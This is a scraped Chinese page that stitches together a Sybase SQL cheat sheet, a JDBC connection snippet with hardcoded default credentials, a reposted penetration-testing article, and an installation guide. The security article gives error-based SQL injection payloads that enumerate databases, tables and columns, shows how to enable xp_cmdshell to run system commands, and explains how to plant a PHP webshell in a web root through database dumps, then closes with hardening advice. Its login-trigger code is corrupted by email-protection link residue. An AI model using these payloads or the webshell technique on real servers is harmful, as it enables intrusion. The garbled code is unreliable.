精华内容
下载资源
问答
  • sybase数据库
    2021-09-18 10:37:39

    Sybase数据库

    一、常用sql语言

    • 获取Sybase中所有数据库:select dbid,name from master..sysdatabases

    • 获得指定数据库中的表列表:select name from 数据库..sysobjects where type='U' order by name

    • 获得指定数据库中的视图列表:select name from 数据库..sysobjects where type='P' order by name

    • 获得指定表&视图中字段或参数:SELECT a.name, b.name FROM syscolumns a LEFT JOIN systypes b ON a.usertype = b.usertype INNER JOIN sysobjects d ON a.id = d.id AND d.name <> 'dtproperties' LEFT JOIN syscomments e ON a.cdefault = e.id WHERE d.name = '表名&视图名&存储过程

    1,表备份

    --table_name1:需要备份的表; table_name2:备份后的表
    select * into table_name2 from table_name1;

    2,删除列

    #table_name:表名,column_name:列名
    alter table table_name delete column_name

    3,增加列

    #data_type 数据类型
    ALTER TABLE table_name ADD (column_name DATA_TYPE [NOT] NULL);

    4,修改列的空与非空:

    ALTER TABLE table_name MODIFY column_name [NOT] NULL;

    5,修改列名:

    ALTER TABLE table_name RENAME old_column_name TO new_column_name;

    6,快速建立临时表:

    SELECT * INTO table_name_new FROM table_name_old;

    7,修改表名:

    ALTER TABLE old_table_name RENAME new_table_name

    8,增加主键约束:

    ALTER TABLE tb_name ADD CONSTRAINT pk_name PRIMARY KEY(col_name,..)

    9,删除主键约束:

    ALTER TABLE tb_name DROP CONSTRAINT pk_name;

    10,建立自增长字段,与Oracle的SEQUENCE类似:

    CREATE TABLE TMP_001 (RES_ID INTEGER IDENTITY NOT NULL);

    11,添加表注释:

    COMMENT ON TABLE table_name IS '....';

    12,创建索引:

    CREATE INDEX index_name ON table_name(column_name);

    13,查询表结构:

    select * from systable a left join syscolumn b on a.table_id = b.table_id where UPPER(a.table_name)=UPPER('table_name')  order by column_name;

    14,查看所有表

    select name from sysobjects where type='U'

    15,创建表

    #字段前面不允许有空格,不然列的名称前面会用空格
    create table t_wlpc_shrjj(
        id INTEGER IDENTITY NOT NULL,
        rpname varchar(500) null,
        rpdate varchar(50) null,
        jjzt varchar(255) null,
        fbsjj varchar(255) null,
        etf varchar(255) null,
        lof varchar(255) null,
        fjlof varchar(255) null,
        create_date Datetime null,
        update_date Datetime null
    )

    16,删除表

    if exists (select 1 from sysobjects
        where id = object_id('users') and type = 'U')
        drop table users

    17,查询指定数据库的表

    select * from   sybaseiq195..T_x27_user;

    18、日期函数

    --1,获取当前日期时间 getdate() 
    select getdate() 
    
    --2,取指定时间的某一部分 datepart(日期部分,日期)
    --取时间的某一个部分 
    select datepart(yy,getdate()) --year 
    select datepart(mm,getdate()) --month 
    select datepart(dd,getdate()) --day 
    select datepart(hh,getdate()) --hour 
    select datepart(mi,getdate()) --min 
    select datepart(ss,getdate()) --sec 
    --取星期几 
    set datefirst 1  
    select datepart(weekday,getdate()) --weekday 
    
    --3,日期2-日期1,单位为日期部分指定 datediff(日期部分,日期1,日期2) 
    SELECT datediff(yy,'2012/12/01',getdate()) 
    SELECT datediff(mm,'2012/12/01',getdate()) 
    SELECT datediff(dd,'2012/12/01',getdate()) 
    SELECT datediff(hh,'2012/12/01',getdate()) 
    SELECT datediff(mi,'2012/12/01',getdate()) 
    SELECT datediff(ss,'2012/12/01',getdate()) 
    
    --4,计算指定时间,再加上表达式指定的时间长度 dateadd(日期部分,数值,日期) 
    SELECT dateadd(yy,1,getdate()) 
    SELECT dateadd(mm,1,getdate()) 
    SELECT dateadd(dd,1,getdate()) 
    SELECT dateadd(hh,1,getdate()) 
    SELECT dateadd(mi,1,getdate()) 
    SELECT dateadd(ss,1,getdate()) 
    
    --5,字符串时间 
    select getdate() -- '2012/12/4 10:48:07.540' 
    select convert(char,getdate(),101) -- '12/04/2012' 
    select convert(char,getdate(),102) -- '2012.12.04' 
    select convert(char,getdate(),103) -- '04/12/2012' 
    select convert(char,getdate(),104) -- '04.12.2012' 
    select convert(char,getdate(),105) -- '04-12-2012 
    select convert(char,getdate(),106) -- '04 Dec 2012' 
    select convert(char,getdate(),107) --'Dec 04, 2012' 
    select convert(char,getdate(),108) --'11:16:06' 
    select convert(char,getdate(),109) --'Dec  4 2012 10:50:28:146AM' 
    select convert(char,getdate(),110) --'12-04-2012' 
    select convert(char,getdate(),111) --'2012/12/04' 
    select convert(char,getdate(),112) --'20121204' 
    
    --6,以时间为维度的趋势查询 
    --查询一个月内的每一天 
    select convert(varchar(10), dateadd(dd, number + 1, convert(char(10), dateadd(mm, -1, getdate()), 111)), 111) dt from master .. spt_values where type = 'p'  and number < 31 
    --查询一年内的每一月 
    select convert(varchar(7),dateadd(mm,number + 1, convert(char(10), dateadd(yy, -1, getdate()), 111)), 111) dt from master .. spt_values where type = 'p'  and number < 12 
    
    --7 空处理函数 
    isnull(val1,val2)   val1为空,值为val2

    19,获取当前时间

    select substr(convert(varchar,getdate(*),25),0,19)
    -- 结果:

    20,删除表数据

    TRUNCATE TABLE:删除内容、释放空间但不删除定义。
    DELETE TABLE:删除内容不删除定义,不释放空间。
    DROP TABLE:删除内容和定义,释放空间。
    区别:
    truncate:删除的更彻底,所有的日志记录都会没有,并且是一把全清,不会有where条件。
    还有个比较大的区别就是truncate后自增长的ID列也会归零,以后插入记录ID从1开始。
    但是delete后你再插入记录,ID会从上次最大的数字开始。
    delete:可以配合where条件。

    二、测试

    驱动:jconnect : com.sybase.jdbc4.jdbc.SybDriver

    pom文件:

    		<dependency>
    			<groupId>org.teiid</groupId>
    			<artifactId>spring-data-sybase</artifactId>
    			<version>1.7.2</version>
    		</dependency>

    代码:

    public static void main(String[] args) {
     try {
         Class.forName("com.sybase.jdbc4.jdbc.SybDriver").newInstance();
         String url = "jdbc:sybase:Tds:192.168.200.176:5000/master";// 数据库名
         Properties sysProps = System.getProperties();
         sysProps.put("user", "sa"); // 设置数据库访问用户名
         sysProps.put("password", "sybase"); // 密码
         Connection conn = DriverManager.getConnection(url, sysProps);
         Statement stmt = conn
             .createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,
                              ResultSet.CONCUR_UPDATABLE);
         String sql = "select id,name,crdate from dbo.sysobjects where type='U'"; // 表
         ResultSet rs = stmt.executeQuery(sql);
         while (rs.next()) {
             System.out.println("oject_id:"+rs.getString(1)+",oject_name:"+rs.getString(2)); // 取得第二列的值
         }
     } catch (Exception e) {
         System.out.println(e.getMessage());
     }
    }

    特点:

      1. 它是基于客户/服务器\体系结构的数据库

        客户/服务器模型的好处是:

        1)它支持共享资源且在多台设备间平衡负载

        2)允许容纳多个主机的环境,充分利用了企业已有的各种系统

      解释:什么是客户/服务器体系结构

      • 从硬件角度看,客户/服务器体系结构是指将某项任务在两台或多台机器之间进行分配,其中客户机(Client)用来运行提供用户接口和前端处理的应用程序,服务器机(Server)提供客户机使用的各种资源和服务。

      • 从软件角度看,客户/服务器体系结构是把某项应用或软件系统按逻辑功能划分为客户软件部分和服务器软件部分。客户软件部分一般负责数据的表示和应用,处理用户界面,用以接收用户的数据处理请求并将之转换为对服务器的请求,要求服务器为其提供数据的存储和检索服务;服务器端软件负责接收客户端软件发来的请求并提供相应服务客户/服务器融合了大型机的强大功能和中央控制以及PC机的低成本和较好的处理平衡。客户/服务器为任务的集中/局部分布提供了一种新的方法,这种体系能够使用户对数据完整性、管理和安全性进行集中控制。在缓解网络交通和主机负荷以及满足用户需要方面,客户/服务器体系提供了良好的解决方案。

      1. 它是真正开放的数据库

        由于采用了客户/服务器结构,应用被分在了多台机器上运行。更进一步,运行在客户端的应用不必是Sybase公司的产品。对于一般的关系数据库,为了让其它语言编写的应用能够访问数据库,提供了预编译。Sybase数据库,不只是简单地提供了预编译,而且公开了应用程序接口DB-LIB,鼓励第三方编写DB-LIB接口。由于开放的客户DB-LIB允许在不同的平台使用完全相同的调用,因而使得访问DB-LIB的应用程序很容易从一个平台向另一个平台移植。

      1. 它是一种高性能的数据库

        1. 可编程数据库

          通过提供存储过程,创建了一个可编程数据库。存储过程允许用户编写自己的数据库子例程。这些子例程是经过预编译的,因此不必为每次调用都进行编译、优化、生成查询规划,因而查询速度要快得多。

        2. 事件驱动的触发器

          触发器是一种特殊的存储过程。通过触发器可以启动另一个存储过程,从而确保数据库的完整性。

        3. 多线索化

          Sybase数据库的体系结构的另一个创新之处就是多线索化。一般的数据库都依靠操作系统来管理与数据库的连接。当有多个用户连接时,系统的性能会大幅度下降。Sybase数据库不让操作系统来管理进程,把与数据库的连接当作自己的一部分来管理。此外,Sybase的数据库引擎还代替操作系统来管理一部分硬件资源,如端口、内存、硬盘,绕过了操作系统这一环节,提高了性能。

    更多相关内容
  • 一、查看空间情况 1、查看数据库空间情况 sp_spaceused sp_spaceused syslogs –日志空间 2、查看数据库设备各段...3、查询sybase DB中占用空间最多的前N张表 —–按照已使用空间查询 Select top 250 name,used_pages
  • 大赠送 资源共享 实在看不惯某些人连个数据库连接驱动也要资源分,但是没有0分的设置 sybase数据库jdbc驱动jconn4
  • sybase 数据库 jdbc 驱动下载 版本:jconn4-7.5.jar
  • 自动实现linux平台下的sybase数据库转储及远程备份.pdf
  • 本项目基于Java语言实现了一个Sybase数据库迁移解决方案,并提供了跨版本迁移特性(已验证的版本是Sybase IQ 12.5 -> Sybase IQ 15.4)。 完整的数据库迁移步骤如下图: 上面4个步骤之间是顺序执行的,在某个具体...
  • SYBASE数据库日志详解[借鉴].pdf
  • client for SYBASE 数据库 客户端软件,ERP首选,非常好用。
  • sybase数据库是不支持group_concat函数的,此文件为sybase存储过程样例,可以将多行信息按标识合并为一行多列。
  • sybase数据库查询索引优化.rar,sybase数据库查询索引优化.pdf
  • NULL 博文链接:https://iihero.iteye.com/blog/1180944
  • Sybase数据库的备份与恢复,学习进阶文档
  • Linux系统下Sybase数据库及管理.pdf
  • Linux平台下Sybase数据库备份的方法分析.pdf
  • sybase数据库扩容详解

    2014-08-05 22:52:38
    sybase数据库扩容详解,详细使用图文的方式一步步讲述了sybase数据库现网扩容的方法。
  • Sybase数据库安全

    千次阅读 2022-04-18 15:14:56
    0x00 Sybase数据库介绍 简介 Sybase的全称又叫:SAP Sybase Adaptive Server Enterprise(简称ASE或Sybase ASE),继承于MSSQL的原始代码,和MSSQL血缘很近。Sybase是一种关系型数据库系统,是一种典型的UNIX或...

    0x00 Sybase数据库介绍


    简介

    Sybase的全称又叫: SAP Sybase Adaptive Server Enterprise(简称ASE或Sybase ASE),继承于MSSQL的原始代码,和MSSQL血缘很近。Sybase是一种关系型数据库系统,是一种典型的UNIX或WindowsNT平台上客户机/服务器环境下的大型数据库系统。它以PowerBuilder为开发工具,以SAP Sybase SQL Anywhere为客户端。目前新版是ASE 15.7.x,命名从12.5.5直接到15.0.0(跳过中间的13、14),本次测试的是12.5.2,其中12.5是12大版本中最稳定的版本。

    创建数据库的时候要注意存放设备:

    服务及端口

    开放端口:

    备份服务:5001、监控服务:5002、数据库主服务:5000、存储过程服务:5004

    默认数据库

    Master:系统的核心数据库,控制服务器的操作以及存储有关所有用户数据库和相关的存储设备的信息,包括用户的用户名和密码;

    Model:模板数据库,当创建用户数据库时,系统根据model数据库制作副本,并将数据库的大小扩展到用户指定的大小。

    Systemprocs:保存系统的存储过程。

    Sybsystemdb:关于分布式事务管理功能。

    Tempdb:包含临时表,放置临时数据。

    注册用户和数据库用户

    当SQL SERVER创建注册用户后,该用户就能合法进SQL SERVER,该注册用户信息会放在master数据库中的 syslogins表中。但只有注册用户成为某一数据库用户,并且对该用户赋予某些权限时,该注册用户才能在限制条件下使用数据库中的表。

    创建注册用户:

    1

    2

    <code>sp_addlogin loginame, passwd     (删除即为drop)

    </code>

    创建数据库用户:

    1

    2

    <code>[dbname..] sp_adduser loginame    (此处的loginame 必须是注册用户,否则报错)

    </code>

    分配权限:

    1

    2

    3

    4

    <code>grant all | select,insert,delete,update

    on table_name | view_name | stored_procedure_name

    to username

    </code>

    1

    2

    3

    4

    <code>grant all | create database,create

    default,create procedure,create rule,create table,create view,set proxy,set session authorization

    to username

    </code>

    数据库用户分类

    sa用户、数据库属主、数据库对象属主和数据库普通用户

    1)、sa用户:为系统用户,拥有全部的权限。

    2)、数据库属主用户:数据库属主(dbo)用户可对本数据库中所有对象(如表、视图、存储过程等)进行操作。

    3)、数据库对象属主:在实际管理中, ,一般为数据库属主。

    4)、数据库普通用户:类似于public,数据库普通用户必须在数据库属主对本数据库中某些对象(如表、视图、进程等)赋予某些权限时,才可对本数据库中某些对象进行允许的操作。

    别名(aliases)与组(group)

    1)、别名:所谓别名(aliases)即将SQL SERVER中的注册用户以同一个数据库用户的身份来访问数据库,并具有与该用户相同的权限。

    2)、组(group)为数据库用户的集合,即通过对组(group)的权限的控制达到对该组中数据库用户的控制,但也可对该组中数据库某些用户进行格外的权限控制。

    角色

    一般在管理分工较细的数据库系统中,sa用户往往被分为三种角色:系统管理员角色(SA role)、系统安全员角色(SSO role)、操作员角色(OPER role)。

    连接及管理工具

    1)、isql

    类似于mysql数据库的的mysql.exe。可连接本地及网络数据库。 使用isql –U sa –P “”连接:

    所有参数要区分大小写:

    -?显示 isql 开关的语法摘要。

    -L列出在本地配置的服务器和在网络上广播的服务器的名称。

    -U login_id用户登录 ID。登录 ID 区分大小写。

    -P password 是用户指定的密码。如果未使用-P 选项,isql 将提示输入密码。如果在命令提示的末尾使用 -P 选项而不带密码,isql 使用默认密码NULL)。密码区分大小写。

    -S server_name 指定要连接到的 SQL Server 默认实例。如果未指定服务器,isql 将连接 到本地计算机上的 SQL Server 默认实例。如果要在网络上从远程计算机执行 isql,则需要此选项。

    -H hostname 是使用的客户端的主机名称。

    -d use database name,用于指定使用数据库名

    2)、官方Sybase SQL Advantage

    缺点:a、随数据库完整安装包一起发布,使用时有版本上的要求。

    b、只支持SQL语句,个人觉得就是isql的图形化版,有所不便。

    (Sql.ini设定及功能:http://blog.csdn.net/potato015/article/details/2450989 )

    3)、官方Sybase Central

    缺点:a、随数据库完整安装包一起发布,使用时有版本上的要求。

    b、功能不是很强大

    4)、DBArtisan

    0x01 Sybase安全

    执行系统命令

    默认xp_cmdshell是不开启的。未开启xp_cmdshell时:

    开启xp_cmdshell : sp_configure 'xp_cmdshell context',0

    开启xp_cmdshell后执行命令:

    权限不够时执行xp_cmdshell:

    细节:

    1、执行 sp_configure 'xp_cmdshell',0 允许所有含sa_role角色的login用户执行xp_cmdshell命令,此功能默认关闭

    2、默认 sp_configure 'xp_cmdshell',1 经测试需要在windows下具有相同longin用户名称和密码,并且该用户隶属administrators权限组,还有一点不能忽略:取消选择“用户下次登录时需更改密码”!

    3、MSSQL由于和windows集成,可以直接使用系统账户登录到数据库。而Sybase则需要按照上面第二步做配置才能达到和MSSQL类似的效果。

    注释符与联合查询

    支持union,可以用//、--来注释,可以用//来替换空格,也可以用+代替空格,也支持count(),不过通配符不能出现在子查询中。

    12.5.2及以前的版本不支持TOP关键字,形如select top N from注入语句将报错

    当然,不能用top,肯定会有替代方案,那就是set rowcount N

    但是set rowcount N貌似不支持子查询和条件句:

    多句执行

    与mssql不同的地方是:多条语句直接以空格分隔,而不是分号。

    对编码的支持

    与MSSQL相同:

    SQL注入特性

    以Php为脚本:

    以Java为脚本:

    判断是否是Sybase数据库:

    1

    2

    <code>id=1 and exists(select * from master.dbo.ijdbc_function_escapes)

    </code>

    以报错方式注入时要注意,sybase是不支持不同类型数据直接相比较的(与MSSQL不同):

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    <code>id=1 and 1=user

    id=1 and 1=convert(integer,user)

    ![enter image description here][28]

    id=1 and 1=convert(integer,(select+@@version))

    ![enter image description here][29]

    id=-1 union select 1,"",(select @@version)

    </code>

    列库(复杂版本):

    1

    2

    <code>id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32))) FROM (SELECT name FROM master..sysdatabases) AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>‘ ’))

    </code>

    列出第一个库master

    1

    2

    <code>id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32))) FROM (SELECT name FROM master..sysdatabases) AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>’master‘)) 

    </code>

    列出除master外的第一个库

    列库(简单版本):

    1

    2

    <code>id=1 and 1=convert(integer,(SELECT name FROM master..sysdatabases where dbid=1))   不断递增dbid的值

    </code>

    dbid是连续的数字,猜解起来很容易

    PS:虽然Sybase不能用TOP、for xml path,但是支持having、where not in等语法,变化方式依然有多种

    与MSSQL不同的一点:

    MSSQL是xtype Sybase是type

    列表(只能用复杂版):

    1

    2

    <code>id=1 and 1=convert(integer,(select MIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32))) from (select name from test.dbo.sysobjects where type=‘U’) AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>‘ ’))

    </code>

    列出第一个表cmd

    1

    2

    <code>id=1 and 1=convert(integer,(select MIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32))) from (select name from test.dbo.sysobjects where type=‘U’) AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>‘cmd’))

    </code>

    列出除cmd外的第一个表cmd0

    列字段:

    1

    2

    <code>select name from test..syscolumns where id=object_id(‘users’) and colid=1  递增colid

    </code>

    即:

    1

    2

    <code>id=1 and 1=convert(integer,(select name from test..syscolumns where id=object_id('users') and colid=1))

    </code>

    工具注入:

    穿山甲猜不出库名,抓包发现使用了TOP关键字,看来穿山甲只支持12.5.3以后的sybase

    备份写文件(webshell)

    前提条件:

    1、备份服务打开

    2、备份服务允许远程访问

    3、有数据库权限(宿主权限)+磁盘写权限

    步骤:

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    <code>1、create table cmd(a image)—

    2、insert into cmd(a) values ('<?php phpinfo();?>')—

    3、dump database test to ‘C:\wamp\www\1.php’ 【全备份】

    (对应MSSQL为:backup database 库名 to disk= 'C:\wamp\www\1.php ' WITH DIFFERENTIAL,FORMAT;--)

       dump TRANSACTION test to ‘C:\wamp\www\1.php’ 【LOG备份】

    (对应MSSQL为:backup log 库名 to disk='d:\www\xxx\test.asp'--)

    注:使用dump TRANSACTION时要求数据文件和日志文件不能存放在同一设备中。

    4、drop table cmd--

    </code>

    加固与防范

    口令

    1

    2

    <code>sp_password  “原密码”, “新密码”,用户名

    </code>

    例如将sa用户的密码由空改为123456: sp_password NULL,”123456”,sa

    1

    2

    3

    4

    5

    6

    7

    8

    <code>sp_configure “minimum password length”,8    ---密码最短长度

    sp_configure “check password for digit”,1   ---至少包含一个数字

    sp_configure “systemwide password expiration”,90   ---口令有效时长

    sp_configure “maximum failed logins”,5   ---设置口令错误锁定阀值

    </code>

    删除扩展存储过程xp_cmdshell, 并删 除 sybsyesp.dll 

    1

    2

    <code>exec  sp_dropextendedproc  xp_cmdshell

    </code>

      关闭sa账户的使用:

    1

    2

    <code>sp_locklogin sa,"lock“

    </code>

    关闭远程访问:

    1

    2

    <code>exec sp_configure “allow remote access” ,0

    </code>

    关闭后,很多服务将无法使用,比如备份

    登陆IP白名单

    系统没有和登陆相关的限制设置,只能通过创建登录触发器来实现登陆IP白名单  

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    <code>create procedure login_trg 

    as 

       <a class="__cf_email__" href="http://drops.xmd5.com/cdn-cgi/l/email-protection">[email protected]</a>(18),@login_name varchar(20) 

    begin 

       select 

       @ip=t.ipaddr,@login_name=suser_name() 

       from master.dbo.sysprocesses t where t.spid=@@spid 

       <a class="__cf_email__" href="http://drops.xmd5.com/cdn-cgi/l/email-protection">[email protected]</a><>'192.168.0.102'

          begin 

             raiserror 30000 'IP address %1! ,with user %2! login failed!',@ip,@login_name 

             select syb_quit() 

          end 

       else 

           print 'Welcome!' 

    end 

    </code>

    创建登录触发器后,执行如下命令:

    1

    2

    3

    <code>isql>grant execute on login_trg to loginname 

    isql>sp_modifylogin loginname, "login script",login_trg

    </code>

    日志

    1

    2

    3

    <code>isql>exec sp_configure "log audit logon failure",1 --记录登录失败信息

    isql>exec sp_configure "log audit logon success",1 --记录登录成功信息

    </code>

    /uploads/2015/08/

    本文章来源于乌云知识库,文章版权归乌云知识库!

    展开全文
  • Sybase数据库性能调优

    2018-04-23 09:55:11
    数据库性能一般用两个方面的指标来衡量:响应时间和吞吐量。响应越快,吞吐量越大,数据库性能越好。响应时间和吞吐量有些情况下不能一起得到改善。
  • 当系统盘坏掉了,经过多种方法设法恢复系统而失败后,这时你最担心的就是...本文介绍了有一种方法可以恢复,就是将数据库系统按照原来安装的方式再装在系统上,然后将d盘上保留的数据文件等进行替换,数据库恢复好用。
  • Linux5.4下安装Sybase数据库 公司内部资源偷偷的拿出来偷偷的拿出来共享,以去掉相关公司声明!~全是为了大家相互学习,进步!~
  • Sybase的存储过程是集中存储在SQL Server中的预先定义且已经编译好的事务。存储过程由 SQL语句和流程控制语句组成。它的功能包括:接受参数;调用另一过程;返回一个状态值给调用过程或批处理,指示调用成功或失败;...
  • sybase数据库安全和优化(自编).ppt
  • sybase数据库连接jar

    2019-01-31 17:02:12
    java 连接sybase 数据库 jar包,用于jdbc连接数据库
  • 每个数据库都有自己的事务日志,即系统表。事务日志自动记录每个用户发出的每个事务...日志对于数据库的数据安全性、完整性至关重要,本文介绍了SYBASE SQL Server如何记录和读取日志信息、日志设备和日志的清除方法。
  • sybase数据库ODBC驱动

    2018-05-31 09:22:53
    sybase_odbc.rar,sybase_odbc,comp0009.z,_isdel.exe,comp0013.z,comp0012.z,comp0030.z,comp0027.z,comp0020.z,comp0015.z,comp0026.z,setup.exe,media.ci,autorun.inf,comp0001.z,comp0008.z,comp0004.z,setup.bmp...
  • JTDS连接SQLSERVER、Sybase数据库 博文链接:https://allenj2ee.iteye.com/blog/131277
  • sybase数据库常见sql操作问题处理解决方法
  • Sybase数据库连接方法

    2013-07-18 09:53:17
    直接添加里边的三个DLL文件到网站根目录下的BIN下,然后直接引用Sybase.Data.AseClient.dll文件即可,里边附带Aybase数据库操作帮助类
  • 原标题:sybase数据库环境搭建教程(多图教程)本案例为centos6.5操作系统,sybase数据库版本为15.7。安装操作系统不做详解装完之后在root下配置IP,改为动态获取,使其能链接网络vi /etc/sysconfig/network-s/ifcfg-...

    原标题:sybase数据库环境搭建教程(多图教程)

    本案例为centos6.5操作系统,sybase数据库版本为15.7。安装操作系统不做详解

    装完之后在root下

    配置IP,改为动态获取,使其能链接网络

    vi /etc/sysconfig/network-s/ifcfg-eth0

    786bf895fe7195cc3d8d0b9f6b2d31b9.png

    重启服务

    service network restart

    下载JDK安装包jdk-10.0.2_linux-x64_bin.rpm,放到/usr/local下

    安装:

    rpm –ivh jdk-10.0.2_linux-x64_bin.rpm

    执行以下操作,查看信息是否正常:

    java

    javac

    java –version

    修改系统环境变量文件

    vi + /etc/profile

    向文件中追加以下内容:

    90d51fc16afb0e18505a05d307c69517.png

    使修改立即生效:

    source /etc/profile

    查看系统环境状态

    40895d80cf8452bdaaeb81d69f8071c5.png

    创建sybase用户

    adduser sybase

    创建sybase数据库安装包存放路径

    mkdir /tmp/sybase

    为安装包存放路径赋予权限

    chown -R?sybase:sybase?/tmp/sybase

    创建sybase数据库安装路径

    mkdir /opt/sybase

    为安装路径赋予权限

    chown -R sybase:sybase?/opt/Sybase

    把sybase数据库安装包ase157_linuxx86-64.tgz放到安装包存放路径

    解压安装包

    tar zxvf ase157_linuxx86-64.tgz

    下载安装所需要的依赖包

    yum –y install gcc* glibc* libX* compat*

    yum install compat-libstdc*

    yum install glibc*i686*

    切换sybase用户

    su – sybase

    进入安装包存放路径

    cd /tmp/sybase

    执行开始安装

    ./setup.bin

    e75b567300a32e289cc70b6a1c9bd42c.png

    2b4e31721a25ed0c6480e99ae74602ef.png

    点击next

    65606635abc1ccafe749e65fdb9c715e.png

    选择安装路径,点击next

    14ae9e7cb59d364a1901755dd2fd91db.png

    选择完全安装,点击next

    a972f00a21640c297493691aa878b094.png

    选择免费版安装,点击next

    ec046ea0d96045b5d3ddaf0356b74a9e.png

    选择同意,点击next

    6bcea127f05c3a27e474e16a27931532.png

    点击安装

    bf4efff739f6493afbda1999dd0d8dd8.png

    正在安装

    1b6a6b8927a18770dbd1339742c087e2.png

    选择前两项,点击next

    193680dfe70fdf8ef817249f41269a20.png

    设置密码,点击next

    b83fe27c1ed192fe25642a5f77ce106c.png

    点击next

    143a284bf7a88a70be7132349b890b1a.png

    点击next

    1dda515d01453251adf271764dc0763e.png

    点击next

    be79d31dd753851351950587d1825b3e.png

    664d02e334b57b02e05f648e6de1d2f6.png

    安装成功

    安装完成后,设置sybase的环境变量

    在目录/opt/sybase目录下,执行

    cat SYBASE.sh >> .bash_profile

    将环境变量追加到.bash_profile中

    同时在.bash_profile中增加如下的行

    LANG=en

    export LANG

    如果不设置这个,则不能通过isql命令链接到sybase服务器上

    cd /opt/Sybase

    source SYBASE.sh

    export LD_POINTER_GUARD=0

    cd ASE-15_0

    export LD_POINTER_GUARD=0

    cd /opt/sybase/ASE-15_0/install

    重新启动服务

    startserver –f RUN_LOCALHOST

    查看服务

    Showserver

    b9c1369a7dc35ad2b3101532924a40a9.png

    设置客户端locale转换,只有进行该设置才能使用isql命令

    vi /opt/sybase/locales/locales.dat

    找到[linux]段,在其下部添加以下内容

    locale = us_english,Chinese,utf8

    locale = zh_CN.UTF-8,Chinese,utf8

    locale = zh_CN.GBK,Chinese,eucgb

    配置完成后

    isql –SLOCALHOST –Usa 登录数据库 返回搜狐,查看更多

    责任编辑:

    展开全文

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 58,407
精华内容 23,362
关键字:

sybase数据库

友情链接: nav.zip